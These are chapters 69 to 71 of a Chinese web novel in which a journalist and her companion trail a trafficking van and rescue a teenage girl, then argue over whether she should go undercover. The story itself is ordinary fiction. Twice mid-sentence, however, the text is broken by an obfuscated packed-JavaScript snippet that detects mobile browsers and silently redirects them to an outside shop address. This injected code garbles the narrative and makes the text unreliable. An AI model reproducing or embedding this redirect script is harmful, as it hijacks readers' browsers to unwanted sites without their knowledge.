“看来这个小地方没什么值得黎记者流连的,”吴檀笑容精确得看不出一丝破绽:“确实,穷乡僻壤的,早点回京屿,对你也有好处。” ……指桑骂槐,阴阳怪气。 身为女性,为虎作伥,在黎叙闻眼里,这女的简直罪加一等。 “让让,”她说着就冷了脸:“要赶不上车了。” 吴檀客气地让开路,微笑着对她点点头:“一路平安。” 黎叙闻偏头看了她一眼。 什么档次啊,也配跟影姐说一样的话? 她不再停留,拖着箱子过了巷口,脚下一拐弯,便上了一辆停在路边的破捷达。 这影子落入依然站在巷口的吴檀眼底,她微微眯了眯眼睛。 69. 第 69 章 “哎,好好,好的吴秘书,那就不去中转站了,直接去矿场。” 谭志群坐在面包车副驾,一只手夹着烟,一叠声地应:“好,好好,那咱们公司见,哎,吴秘书慢点哈。” 挂了电话,他立刻换了副轻蔑神情:“这女的不就近水楼台,啥都要来掺一脚,当了几年人就不记得自己是谁了。” 说完他一抬眼,从顶部后视镜里看到了珍妮好奇的脸,恶劣地一挑眉,问:“哎,你想做啥呢?” “想坐办公室,”珍妮说:“穿西装。” 司机和谭志群同时大笑,弥漫着青蓝色烟臭味的车厢里挤满了嘲笑。 司机道:“听听,听听,人家都有这个梦呢。” 谭志群揩去眼角笑出的眼泪,低头扫了眼珍妮的身份证,屈指一弹:“好名字。” 在他们身后,一辆不起眼的黑色捷达隔着两辆车的距离,不紧不慢地跟着这辆脏兮兮的面包车。 黎叙闻坐在副驾举着手机,看屏幕上的红点在他们前方缓慢平移:“这距离就行,远点也可以,重点是别让他们发现。” 昨天珍妮壮士断腕,为了逃走手机都没拿,她要再不在里面动手脚,就有点不礼貌了。 好在孩子单纯,没设什么复杂的密码,试了几次就开了锁屏,然后黎叙闻十分没素质地,在里面下了个定位APP。 这办法也很有风险——珍妮很可能中途手机没电,或者发现然后把APP删掉,他们可能中间收掉她的手机然后关机。 如果一击不中,没救出珍妮,等他们发现珍妮手机里有这东西,她很可能会害了珍妮。 但黎叙闻实在是没别的招了。 “什么时候动手?”齐寻盯着前面露了个顶的面包车。 黎叙闻摇头:“不知道……可能是场持久战。” 齐寻无声笑笑:“看后面。” 黎叙闻扭头看去,后座上杵着两个大背包,拎过来觉得手上极沉,打开一看,里面是食物和水,几件趁手的工具,几套车牌,甚至还有成人尿不湿。 “他们要真在中途逗留,我们可能得换车,”齐寻道:“背包方便转移,也方便中途补充物资。” 黎叙闻叹为观止:“你这什么技能?” “持久战盯梢专用,”齐寻伸手摸摸她后枕:“放心,人一定能救出来。” “啧啧,”黎叙闻咂咂嘴:“这么可靠,难怪小姑娘见了你就走不动道呢。” 齐寻就着她后脑轻轻拍了一下,道:“这还有条漏网之鱼。” 那面包车一路往偏僻的城镇村落开,都是进去扎一头,十几分钟就出来,黎叙闻猜测,应该是在一个一个接人。 他们不敢跟太近,所幸对方好像不怎么小心,加上车型常见,中间又换过两次车牌,一直都没有暴露。 就这么一直跟到了夕阳西下,面包车行进在高速上,忽然向右侧变道,在错过出口前的最后一秒下了高速。 这个时间前方稍显拥堵,捷达跟他们隔了四辆车的距离,齐寻一把方向,几乎擦着后车的车灯加了塞,引来后面一片喇叭长鸣。 “好像进服务区了,”黎叙闻盯着红点:“这么突然?” 齐寻毫无愧色地挤进辅道:“可能是尿急,你要想去洗手间也可以去。” 两人一下午一口水都没敢喝,黎叙闻摇摇头:“算了,万一正面碰上,有可能被人记住。” 本想着可以歇歇,没想到面包车根本没进服务区,而是在辅道边上的一片树丛间停下了。 齐寻立刻跟着停车,也找了树荫隐蔽熄火。 黎叙闻紧盯着面包车后的那一小片茶色玻璃,手紧紧握住车门开关。 面包车驾驶座上下来一个精瘦的男人,个子不高,急匆匆绕到另一侧,来不及看四下有没有人,拉开裤链,对着路边就开始放水。 黎叙闻嗤笑:“呵,男的。” 齐寻转头看着她,没说话,却张开右手,放在两人中间的置物箱上。 黎叙闻莫名:“要什么?” 齐寻仍是不答。 黎叙闻低头盯了他的手半天,试探着把自己的手放了上去。 放上去的瞬间齐寻五指收紧,像等了很久似地紧紧将她缠住,唇角扬起一个压不下的弧度:“车费。” 黎叙闻正要开口逗他,齐寻嘘了声:“有人。” 两人立刻安静,只见车前方的空地上,有个人影,顺着道路慢慢地、一步一顿地向他们靠近。 齐寻声音发紧:“对面醒了。” 眼看那被夕阳拉长的影子近在咫尺,那精瘦司机慢慢从树荫里探出头来。 黎叙闻当机立断,借着齐寻手臂的力量,躬下身子一个翻身,越过座位中间,一条腿做支撑,另一条腿轻轻一跨,直接跨坐在了齐寻身上! 齐寻身体紧得像铁,呼吸瞬间凝滞住。 她双手环上他脖颈,头脸深埋在他侧颈,带着水香的柔软身体紧紧贴住他的,一丝空气都插不进去。 而她温热又急促的气息,就一下一下地喷在他颈窝。 齐寻几乎呆愣在驾驶座上,根本不敢呼吸,因为胸腔只要一起伏,就会碰到一片无法忽视的柔软。 “别愣着,”她在耳边轻声说:“抱我。” 齐寻深深吞咽一下,把手放在她背上,好容易克制住,分出一点点意识,看见那人影停在近在咫尺的地方,一声模糊的哂笑传来,紧接着,脚步声慢慢远去了。 前方阴影一红一灭——面包车发动了。 齐寻黑着脸,在黎叙闻腰上拍了下:“……下来。” 黎叙闻还不松手,悄声问:“走了吗?” “走了!”齐寻一抖腿:“给我下来!” 黎叙闻“哦”了声,慢吞吞回到副驾,偏过头饶有兴致地盯着他红透的耳廓看。 “看什么,我脸上有导航?”齐寻发动车,声音紧得发涩:“看路。” 黎叙闻忍着笑低头:“凶什么啊,恼羞成怒?” 齐寻:“……” 他倒不是恼羞成怒,只是今天穿的牛仔裤太紧,她这不打招呼直接搞偷袭。 ……着实难受。 另一边的面包车上,谭志群探着身子向后望,见司机上车,问:“是跟车的么?” 司机一嗦牙花:“野鸳鸯。” 后座上满满塞着五六个女孩子,都很年轻,有单纯开朗的脱口问:“野鸳鸯是啥?” 被珍妮一把捂住嘴。 谭志群从顶镜上看了她们一眼,歪着嘴笑:“不着急哈,都能懂。” “明儿晚上什么安排?”司机问:“走一局?” 谭志群嗤笑:“走个屁,明晚交接,带她们检查身体,得跑一趟清水镇。” “清水镇?又安心医院啊?”司机叹了声:“也不算远,你加紧点儿来得及啊。” 有黎叙闻之前的警告打底,珍妮一路上心就没放松过,努力记着每一句话,死死捏着手机,界面停在黎叙闻的微信上。 其实她也知道没什么用,她连自己在哪都不知道,就算电话打出去了,怎么跟那边说? 手机被她握得发烫,向下扣着放在她腿上,手指垫起来,屏幕在入夜后一片黑的车厢里刺眼非常。 可能就是这点亮光提醒了谭志群,他忽然转过身,道:“为了保证你们的培训效率,把你们手机都关机后交给我,到时候统一管理。” 珍妮胸口忽然一紧,心脏就无止尽地向下沉去。 黎叙闻说没有哪个正经工作是招未成年的,那又有哪个正经工作,是要收手机的吗? 那些去了之后打电话回来的人,又是怎么做到的? 身边的女孩们不疑有他,纷纷表现自己一样迅速上交,四五只手递过去,谭志群的目光终于落在了珍妮身上。 珍妮慌乱地按屏幕:“我给影姐打个电话说一声……” 谭志群眼睛一眯:“拿来。相信我,这是为你好。” 他的声音陡然阴沉下来,别说珍妮,坐在她身边的女孩都一个激灵。 珍妮暗自深吸一口气,蹭了蹭鼻子:“不打就不打呗,好像谁怕了要哭鼻子一样。”说着便把手机息屏递了过去。 谭志群神情放松下来,慈爱地一笑,刚刚的阴狠荡然无存:“就是嘛,给影姐争点气。” 黎叙闻手机忽然一响,她打开一看,竟然是珍妮。 空荡荡的消息框里,是一个定位。 她略一思索就明白了缘由:“可能快到了。” “怎么?” 黎叙闻盯着屏幕上那个消失的红点,语气凝肃:“他们收手机了。” 她切进地图,开了实景沿着道路方向往上划,前方十几公里处似乎进到了一处偏僻的低端,地图上一片空白。 “这什么地方?”黎叙闻皱起眉:“怎么标注都没有?” 齐寻扫了一眼:“要么是特殊地貌,要么是某个废弃多年的设施,没有责任人,所以没人跟地图APP登记。” 黎叙闻转头去看窗外。 自从下了高速,他们就越走越偏,几次插进了没有标识的小路,车都是远远跟着,有珍妮的定位才不至于跟丢,到现在他们跟面包车之前更是隔了大几十米,只能看到红色车尾灯。 夜幕降临已久,城外安静非常,小路颠簸不平。 周围低矮的厂房和寥落的民居,墨迹一般洇在冷青色的天空底端,默不作声地在暗处注视着他们这辆渺小的车。 导航上,他们的定位正一点一点,缓慢而有进无退地,逼近那片吞噬一切的空白。 那处应该是他们的某个大本营,里面不知道有多少人。 要看管车上这些人,应该还有没转移的,人力不会少,到时候别说救珍妮,说不定他们两个都有去无回。 黎叙闻手心被指尖戳得生疼,深吸了口气,偏头对齐寻道:“动手吧,不能让他们进去,不然凭我们两个,肯定抢不出人来。” 车却没有立刻加速。 黎叙闻偏头看他:“齐寻?” “闻闻,”齐寻慢慢道:“我想到了一件事,你想到了吗?” 黎叙闻满心的焦虑蓦地一冷,沉默了两秒,便立刻明白了他说的是什么。 那辆车上,不是只有珍妮一个人。 但他们所有的准备、能力、善后,注定他们只能救珍妮。 如果勉力把所有人都带走,极大概率谁也走不了。 那其余人呢? 黎叙闻胸口遽然一阵钝痛,然后闭上了眼睛。 时间一分一秒匆匆流走,她呼吸又浅又急。 指尖发麻,她狠狠咬了下嘴唇,道:“回来我们就拼命找证据,找到证据就立即登报、报警,如果还是来不及……” 她说不下去似地停了停:“那就算我欠她们。” 齐寻眉心一抽,也就明白了。 那天晚上他的话,她不是听听而已。 不是逃避,不是推卸,而是别无选择之下,深深记下这笔债。 “准备好了吗,”齐寻道:“走了闻闻。” 话音未落,捷达老旧的引擎轰到极致,爆发出车体几乎支撑不住的速度。 只消几十秒,便像捕猎者一般,扑向了满载着诱饵的面包车。 汽车一个猛刹,轮胎发出刺耳的抓地上,在土路上划出一道深深的弧线,在距离那片空白不到十公里的地方,逼停了面包车。 面包车司机刹车踩到底,后座的姑娘们险些冲到前排,所有行李哗啦啦倒了一地。 司机惊魂未定地开窗叫骂:“狗日的你他妈不要命了!X你妈的,赶着投胎?!” 黎叙闻咔哒一声解了安全带:“我去捞人,你给我镇场子。” 四周一片漆黑,只有两辆车的车灯,四道光柱照亮之间的一小片地方。 齐寻眼睁睁看着她头也不回地甩手关上车门,几步走到后座车门处,敲了敲车窗。 谭志群下车,伸手拉她:“你谁啊?干什么?” 黎叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054249|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻甩开他,一脸凶狠:“要账!” 司机开了中控锁,也跳下车来,上下打量黎叙闻一番,舔了舔嘴唇,回身一看—— 他们面前的破捷达上靠着一个高大健硕的男人,那体格,一看就是练过,身边还立着根闪着银光的棒球棍。 而那个男人跟没看见他似的,低头擦着火机,在唇边点了一支烟。 司机下腹那股邪火顿时就泄了。 黎叙闻一把拉开车门,不由分说拉住珍妮的胳膊往外一扯。 小孩一脸懵地被她连拖带拽弄下车,刚看清她的脸,嘴一撇就要哭:“闻姐……” 尾音还没落在地上,黎叙闻忽然抡圆了胳膊,劈手便是一个耳光! 司机和谭志群直接愣住了。 她是真下了狠手,珍妮的脑袋被她扇得偏到一边,响亮的耳光声听得齐寻都后背一紧。 “想跑?欠了钱就想跑?”黎叙闻冷笑着捏起她的下巴,强迫她抬头:“你以为你跟那个老货串通跑路,我就找不到你了?嗯?” 谭志群见她下手这么狠,心里先虚了三分,试图用文明的方式劝退:“这位女士,我们赶时间,你看是不是……” “是你骟了的野爹!”黎叙闻把书影狮吼功学了个十成十:“这□□崽子欠我三万!你还?”她变本加厉地狰狞着靠近谭志群:“你给她还?!” “这跟我们有什么关系啊?有事你去找书影!”谭志群下意识后退半步,生怕自己一个呼吸不对惹了她:“她是去工作的,你现在放她走,让她打工挣钱,还有可能还得上。” 黎叙闻听笑了:“挣钱?”她拽过谭志群的领带:“你人模狗样的,你替她还?” 谭志群下意识偏头扫了一眼站在旁边的珍妮。 这个瘦小的女孩,脸上一股不服的狠劲。 这种货色最难调教,也卖不上价。 三万块,他们在她身上都赚不到三万块。 他稳住了表情,严肃道:“那你要怎样?” 黎叙闻掐着珍妮的后脖颈,像掐着一只猫崽子:“怎样?当然是带回去给我卖肉填窟窿!” 谭志群挑了下眉头,目光倏然一凝。 这娘们是来抢人的。 好死不死,今天的司机是个废物。 这地方离矿场还有将近十公里,等他们带人手过来,黄花菜都要凉了。 更何况那边还有个守着车镇场子的打手。 那打手带着鸭舌帽,却怎么看怎么眼熟。 “哎,哎哎,”黎叙闻上手拍他的脸:“你奶奶跟你说话呢,你看哪呢?” 她似笑非笑打量一眼车里:“你们这生意,不干净吧?” 谭志群立刻肃起脸:“请注意你的态度,我们是正经的人力公司。” “三更半夜把一车女的拉到这种鸟不拉屎的地方的正经公司?”黎叙闻拧了一把他的胯:“挺赚钱呗?” 齐寻在不远处盯着,后槽牙都要咬碎了。 要是有机会动手就好了。 “我懂,正经生意。”黎叙闻轻浮地往他肩头一拍:“你把这崽子给我,我点头哈腰目送你们走,行不?要不然……” 她敛了笑意,双眼死死盯着谭志群,意有所指:“我是不会放过她的,她就算死了变成鬼,烧成灰,我也要找到她。” 谭志群忽然起了一身鸡皮疙瘩。 ……都怪那个吴檀,要不是她说时间紧,不用去中转站直接进矿场学习,哪来的这档子莫名其妙的事? 这女的看起来,实在是能跟人拼命的主。 他掂量了一下自己的命和那点月薪,果断地选择了前者。 只是少一个人而已,这女的要真追到天涯海角,搞不好整条产业链都让她挖出来。 他这也是为公司免去麻烦。 “那行,那你……” 车上的姑娘们面面相觑,懵懂地窃窃私语,猜测珍妮到底做什么欠了这么多钱,有姑娘摇着头惋惜,大好的机会都到眼前了,结果珍妮却去不了了。 谭志群对付不了黎叙闻,正憋着火,顺手拍上后座车门,冷着脸对黎叙闻道:“人你带走,别挡我们的路。” 黎叙闻心里一抽一抽地疼,面上看不出一点破绽:“行啊帅哥,你们先走。” 谭志群声音冷硬:“你们先。” 黎叙闻欢欢喜喜答应一声,转头在珍妮屁股上踹了一脚:“咋了,等我请你?” 珍妮低着头,默默跟谭志群擦肩而过,抬头一见是齐寻,眼泪又要夺眶而出,齐寻维持着冷漠的样子,低声说:“别怕,我跟你闻姐带你回家。” 珍妮硬是把哭声咽了回去,裂开嘴,对他露出一个带着血丝的笑。 “对了,”黎叙闻忽然道:“她证件呢?” 谭志群满脸不耐,扫她一眼,没搭腔。 “别这样嘛,”黎叙闻作势要上手摸他口袋:“我跟帅哥你一样,做的也是正经生意,没证件我怎么捏住她?” 谭志群厌恶地翻出证件扔在她身上,头也不回上车了。 一张薄薄的小卡片,在昏暗光线里字迹糊成一团。 黎叙闻低头定睛看了半天,眉头不受控制地扬起。 她第一次看到了珍妮的本名—— 樊贱女。 她眼前忽然涌出大片的黑斑,不由颤抖着呼出一口气,想大声骂人,却又不知道火气该向谁去。 刚刚扇过珍妮耳光的手垂在身侧,火辣辣地疼。 但她最后只能深吸一次,抬起头笑盈盈冲谭志群挥挥手,也转身上了车。 黑色捷达缓缓发动,与那辆面包车错身而过。 黎叙闻坐在后座,一只手护着在她怀里瑟瑟发抖的珍妮,扭头看向面包车后座贴了防窥膜的窗户。 她知道,那里面有很多双懵懂单纯的眼睛,正困惑地盯着她。 可她看到的,只有她自己那张恍然无措的脸。 两辆车在渐冷的无边夜色中,无声无息地擦肩,而后驶向不同的远方。 70. 第 70 章 他们驶上大路之后很久,珍妮依然握着小而薄的身份证,趴在黎叙闻腿上抬不起头来。 因为她只要一抬头,就要面对知晓她真实姓名的人,这比她讲故事似地说出自己的过往,还要难堪百倍。 那片白色的卡片死死地卡在她的掌心,一堵墙似地把她和她向往的世界区隔开来。 它光滑又不容置疑,冷冰冰地竖在那。 她一辈子都翻不过去。 而在她看不见的地方,黎叙闻跟齐寻的眉眼官司简直要把顶镜打碎了。 小姑娘自尊心强,黎叙闻想来想去也不得要领,只好挤眉弄眼求助齐寻。 齐寻也挤眉弄眼回来:那你给她找点吃的。 黎叙闻:你就不能给点建设性意见? 齐寻:你看我像会哄孩子的人? 黎叙闻:我看你哄我就挺有一套。 齐寻:那我把哄你那一套给她用用? 黎叙闻翻了个顶镜都放不下的惊天大白眼,直接终结了这场哑剧。 最后她在满载着物资的背包里掏了半天,掏出一块压缩饼干:“这个你吃过吗?可好吃了,起来尝尝吧?” 齐寻一个没忍住,噗地笑出声,又收获一记眼刀。 他半路悬崖勒马,干咳一声掩饰道:“这么晚了,回去也没饭了。闻闻,我也饿。” “你不许吃。”黎叙闻讨好地把饼干递到珍妮面前:“珍妮先吃。” 珍妮伏在她腿上,身体忽然开始簌簌地抖。 黎叙闻都慌了:“怎么哄着哄着还哄哭了……齐寻!你出的好主意!” 珍妮慢慢抬起头,笑得脸都红了,拿过她手上的饼干:“你俩可真土。” 黎叙闻:“……别吃了,饿着吧你。” 珍妮笑着低头,迅速眨眨眼蒸发了眼睛里的水汽,咬了一口压缩饼干。 ……干得噎人,硬得硌牙,半夜抄在手里,估计能把人头打破。 但真的很好吃。 又咬了一口,饼干落进肚子里变成勇气。 她终于开口了:“闻姐,你的名字也是你爸妈取的吗?” 黎叙闻又翻出一块饼干递给齐寻:“嗯,我爸取的。” “黎、叙、闻……”珍妮把这三个字一个一个放在齿间咀嚼,艳羡道:“真好听。” “小时候很骄傲,觉得我的名字天下无双,再长大一些,反而没有那么喜欢了。”黎叙闻提起父亲,声音有些飘忽。 齐寻抬了抬眉角,看她一眼。 “但现在,我又觉得它还不错。”她兀自笑了:“可能是这个名字,终于让我写上了自己的意义吧。” 珍妮盯着她在暗暗车厢里还发亮的眼睛:“真好……” 她不敢说她也想有一个好听的名字。 甚至不用好听,只要不让人一眼看上去,就知道她是家人眼里的赔钱货,就行了。 “名字是你的武器,”黎叙闻摸着她的头发轻声说:“等你成年,可以为自己选定名字的那一天,以前所有轻视你、恨你的人,就全部被你打败了。” 珍妮听得血都热了。 距离她成年,还有一年零四个月。 她还有四百多天,可以慢慢想,慢慢决定。 决定她要改一个怎样的名字,要过一种怎样的人生。 凌晨三点的月光笼罩着熟睡的柳北县城。 而某个不起眼的巷尾,留着整个柳北的最后一盏灯。 “还要啥证据!不都给你们说了!”理发店中传出的怒吼惊醒了窝在门口的流浪狗:“你们不是警察吗!快救人呐?!” 书影还穿着中午回到柳北时的那件衣服,披散着头发,背对着门口冲手机听筒狂怒:“我要是知道在哪还用你们?我女儿被人绑架了!绑架!你们咋回事是听不懂吗!” “你管她是不是我女儿!不是我女儿就不能报警?是!她就是我女儿!” 三个人驱车回到理发店的时候,看到的就是这样一幕。 珍妮怔愣着,疑心自己听错了,试探着小声叫:“影姐?” 书影厚重的背影肉眼可见地凝滞了一瞬。 紧接着,她小幅度地转过身来,用眼角余光慢慢扫向身后,又想看一眼,又生怕自己听错了。 珍妮带着哭腔又叫了一声:“影姐。” 书影瞬间丢掉手机冲过来,掐住珍妮的肩膀盯了好几秒,上上下下摸索:“妮儿你咋回来了?他们欺负你了?给你吃的没有?啊?” 珍妮的眼泪跟珠子一样啪嗒啪嗒落下来,死死抿住嘴,怕一开口就露出端倪。 其实被收掉手机的那一刻,她就后悔了。 她后悔没听闻姐的,夸海口说自己总能跑出来。 原先她能跑出来,是因为那个山沟沟是她长大的地方,而现在,她连自己在哪都不知道。 那一瞬间,她觉得自己甚至比在猪圈时还要接近死亡。 书影见她不说话,在她背后拍了一巴掌:“说话!哑巴了?饿不饿,他们打你没有?” 黎叙闻在门口目睹这一刻,抱着胳膊笑道:“没打,没欺负,还没到地方呢,就给她捞回来了。” 她伸手呼噜了一把珍妮乱糟糟但蓬勃的头毛:“小崽子就吃了两口饼干,你给她弄点别的吧。” 书影这才来得及抬起头看她。 一脸的羞愧、理亏和欲言又止,双手绞着,都不知道该往哪里昂 黎叙闻也应对不了这样的场面,说完也不等对方嗫嚅着张口致谢认错,赶紧一摊手:“我钥匙呢?我的铺盖卷还健在吗?” 书影看着她,对她特别疲惫、特别感激地一笑,可能是想讨好她,张口却是暴击:“床我给你铺好了……” 黎叙闻脸色一变,顾不得齐寻忍笑忍得辛苦,拉起他转身就走。 书影忧心地在后面喊:“哎,闻闻,你今天跟他住啊?家里有没有那个啊?” 黎叙闻眼睛一闭,根本不愿去想她说的“那个”是哪个,加快脚步想远离这个是非之地。 下一刻又听齐寻带着笑意的揶揄:“我们黎大记者,退租不铺床?” “我正要铺就收到珍妮消息说她走了我那是怕赶不上才……”她糊里糊涂解释一半,整个人却像被按了暂停键,忽然停下了。 说起珍妮被带走,她又想起了关在面包车后座那一车的少女。 他们跟那辆车擦肩而过时的情形,简直像鬼魅一样,一路上一直缠着她,见缝插针、不可止息。 她好像要被缠一辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057241|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 齐寻垂下眼睛,一言不发地看她。 她伤心的表情太好认,也太刺眼。 琳琳刺伤父亲那夜他见过,夕阳下甩开他说自己混乱时他见过,坐在窗台上问他袖手旁观是不是慈悲的那个夜晚,他更是难忘。 无力感像疯长的藤蔓,破土而出,拔地而起,一根一根带着荆棘的刺,紧紧将她捆住,令她动弹不得。 于是他俯下.身,轻声问她:“今天去你那对付一晚上,行吗?” 今晚对黎叙闻来说,注定是无法成眠的一晚。 后半夜空中蓄起厚厚的阴云,兑得夜色也厚重,薄薄月色透不过层云,屋内一片不见五指的沉黑。 齐寻在她身边和衣而卧,黎叙闻在他平稳绵长的呼吸声里,第六次按亮了手机。 她自然不是在等谁的消息,而是屡屡把手指放在拨号键盘的“1”上,却每一次都按不下去。 ——身为调查记者,她知道不能报警,有一些损害,是收集证据的必然过程,现在报警无异于打草惊蛇。 她始终笃定存在在阴影中的那个庞然大物,一定会逃窜无踪,然后等风平浪静,张开大口,吞吃更多的人。 但那几个女孩子的脸,始终在她面前挥之不去。 如果那个教授在她面前,他会如何说?面对这么多生命,他还会一口咬定,袖手旁观是记者的慈悲吗? 琼斯·埃弗利呢?她的偶像,又会做出什么选择? 她忽然想到了黎策。 她想到当时面对这道必考题,父亲是怎么选的——他选了逃避,然后被判出局,背着自己咽不下的过往,搭上了自己一辈子,还搭上了她的家。 她坐起来,果断在手机上按下110,那个绿色的拨出键,却怎么都说服不了自己按下去。 “你早知道要选什么了。” 黎叙闻被吓一跳,紧接着手腕被一只温热的手掌按住。 她整个人被抓包似地一凛:“吵醒你了?” “从你躺下到现在,呼吸频率就没对过。”齐寻闭着眼睛:“我也没睡。” 黎叙闻把手机放到一边,不说话了。 室内失去唯一光源,浓腻的黑暗又卷土重来,瞬间淹没了她的视线。 她慢慢躺下,问:“我选对了吗?” 身边人翻了个身,把她拥进怀里。 他胸膛宽阔,双臂笼住她的脊背,手掌又护住她后枕,将她整个人完全包裹住。 她好像瞬间掉入了一个安全温暖的空间,这之外的一切事,她都可以暂且躲一躲。 齐寻没有回答,她却觉得她好像不需要答案了。 她的决定在冲过去拦车之前就已经说过,成功失败,都是她必须要背负的,与对错无关。 难道事情一定要有代价吗,她忽然想。 她就不能再努力一点,让这个代价,也由她来担吗? 窗外似乎有车驶过,车灯远远亮了一瞬,像她脑中的一线清明,照亮了她沉浮在夜色中的一双眼睛。 “齐寻?”她忽然叫。 “嗯?” “你说,怎么才能拿到更直接、足以扳倒他们的证据?” 她吞咽一次,道:“如果……我也被卖掉呢?” 71. 第 71 章 说完这句话,她感觉到齐寻的身体石化了似地僵直,紧接着放开她,坐起来开了灯。 黎叙闻突然从黑暗中被扔到强光下,不悦地眯起眼:“干什么?” 齐寻沉黑的眼睛盯着她:“你再说一遍。” 他一看过来,黎叙闻就知道,今天必不能善了了。 但她实在没有别的退路。 她慢慢坐起来,硬着头皮迎上他的目光:“我好歹知道真相,不可能落到那种地步,”她甚至开了个玩笑:“我保证,你不会在哪个宣传片里看到我。” 她每说一个字,齐寻脸色就难看一分,到最后他的话几乎从牙缝里挤出来:“我在乎的是那个?在那之前她们要经历什么,你心里没数?” 黎叙闻在心里苦笑了声。 他还是太了解她,一眼就看穿她处心积虑要绕过什么。 在成为“成品”之前,受害者一定会经历漫长的控制、洗脑、服从测试,直到她再也提不起逃跑的勇气。 而这些,恰恰就是她要掌握的“证据。” “他们见过你的脸,今天一闹,我们早就被盯上了。”齐寻留给她一个紧绷的侧脸,声音冷硬:“想当卧底,太晚了点。” “不会的,”黎叙闻解释:“照他们说的规模来看,他们不可能只有柳北这一个‘货源’,只要我……” 齐寻不等她说完,忽然转身握住她肩膀:“总之你就是要以命抵命,是吗?” 黎叙闻喉头一哽,把后半句说辞咽了回去。 是的,她就是这么想的。 与其在这里费尽心思找什么证据,不如搏一把,成了就万事大吉,不成,她欠她们的,也就还清了。 “那你欠我的呢?”他手指蓦地用力,狠得仿佛要生生抠入她的肩骨:“我也救过你的命,黎叙闻,你欠我的,又打算怎么还?” 黎叙闻睁大眼睛望着他,疼得咬紧嘴里的软肉,却倔强着不肯痛呼一声。 她从没见过他这种表情,不是平日无事的漠然,也不是逗他逗急了撂的冷脸,而是面对逗弄他的猎物,狠厉,仇恨,贪婪,不把她撕碎,他便不肯罢休。 “那先还你吧。” 肩头生疼,她被逼得眼底起了一层水汽:“你想要什么,跟我睡一次?还是办一场婚礼?或者等你被我连累死的那一天,碑上要刻我的名字、跟我合葬?你说,我都答应你。” 说到最后她自己都哽咽着说不下去了。 齐寻不可置信地看着她,几乎维持不住表情。 他低头深深呼吸了几次,手上慢慢松了劲。 思维已经很多年没有这样混乱过——明明知道她的计划漏洞百出,成功脱身的机会不足百分之一,可他一句有理有据的反驳都说不出。 从大脑到呼吸,身体每一寸都在喷涌着沸腾,最后只剩下一个念头: 留下她。 不惜代价,留下她。 “一定要做到这个地步?”他知道自己眼睛一定红得吓人,是以不敢抬头,声音抖得自己都不敢认:“要是我求你呢?” 他手心里瘦薄的肩骨遽然一抖。 “没有必要,搞得像生离死别,”黎叙闻忍着心脏的抽痛,轻声道:“我是去卧底,也不是去送死,再说,没有我又怎么样?” 她轻轻摸了摸他的脸:“没遇见我之前,你不也照样过得好好的。” 她这句话说完,齐寻像听到了什么笑话,忽然低低笑了。 他深深出了口气,缓慢地从床上下来,面无表情、自上而下地望着她,说:“是过得好好的——遇见你之前我无时无刻不在想,你一定活在世上的某个角落,只要我走的路够长,救的人够多,就总有一天能找到你。” 他平静的面容渐渐显出一种苦涩:“我就是这样,过得好好的。” 这是重逢三个多月以来,他第一次不想看她的脸。 或者说,是不忍。 “这种做无谓牺牲的蠢想法,我不觉得能成,”他不再看她,顾自倒了杯水放在她床头:“你再想想。” 说完便转身出了房间。 “齐寻?”黎叙闻不由地叫道。 她听见脚步声停了一瞬,然后是开裂的门轴干涩的响声,接着锁舌轻轻一弹。 屋里静得吓人。 无边安静里,黎叙闻坐在床上,慢慢闭上眼睛。 他的选择就在这声关门中,对她说清了。 世界又只剩她一个人了。 凌晨五点,蒙蒙的亮光压在云后,聊胜于无地点亮新的一天。 而有些人荒唐的一天才刚刚结束。 黄毛额角还带着伤,手里拎着啤酒,带着两个小弟晃晃荡荡从棋牌室出来,嘴里醉醺醺地唱着不成调的歌。 三人抄近路,拐进一条僻静巷子,身后小弟问:“哥,今天睡醒去哪?” 黄毛啐了口:“老子还得先去换药。” 小弟“哎?”了声,黄毛也没在意:“那个X养的婊子,别让老子再见到她!” 忽然有人轻轻点他左肩。 他不耐烦地一抖:“有屁快放!烦着呢!” 又点。 黄毛啧一声,转过头去就要骂人。 都没来得及看清对方是谁,他鼻梁便挨了狠狠的一拳,顿时鼻血奔流,连嘴里都涌下一口血! 齐寻一手一个料理了两个小弟,黄毛喷着鼻血挥拳要还手,齐寻捏住他手腕一拧一甩,黄毛嗷地惨呼出声,一屁股坐在了地上。 他居高临下看着黄毛,脸色比天还阴。 黄毛耳边回荡着小弟的痛吟,捂着鼻子大声质问眼前这个高大的男人:“你谁啊你!” 齐寻一言不发,漠然地蹲下,拎起他的领子,掰开他捂着鼻子的手。 黄毛以为他在认人,立刻抹干净血:“你他妈认错人——” 后半句被一记耳光扇回了喉咙里。 黄毛这辈子就干点小偷小摸的勾当,正经的架都没打过几次,被扇得头都差点飞出去,嘴里的鼻血喷了一地,眼前的星星过了将近十秒才慢慢散去。 他被打得哭了:“你到底是谁啊哥……我也没惹你吧我……” 齐寻面无表情看着他,抬手又是一下子:“谁是婊.子?” 黄毛另半张脸也惨遭毒手,颤颤巍巍吐出一颗牙,总算搞清了状况,尖声嚎:“我!哥,哥,我,我是婊.子,我全家都是婊.子!” 齐寻见他认了,慢悠悠站起身来,抬起脚就要朝下跺。 吓得黄毛立刻刺猬一样蜷成一团,护住自己的命根子:“哥,我有眼不识泰山啊哥,求你放过我,”说着说着又哭了:“你让我干啥都行!” 齐寻笑了一声,饶有兴致地:“干什么都行?” 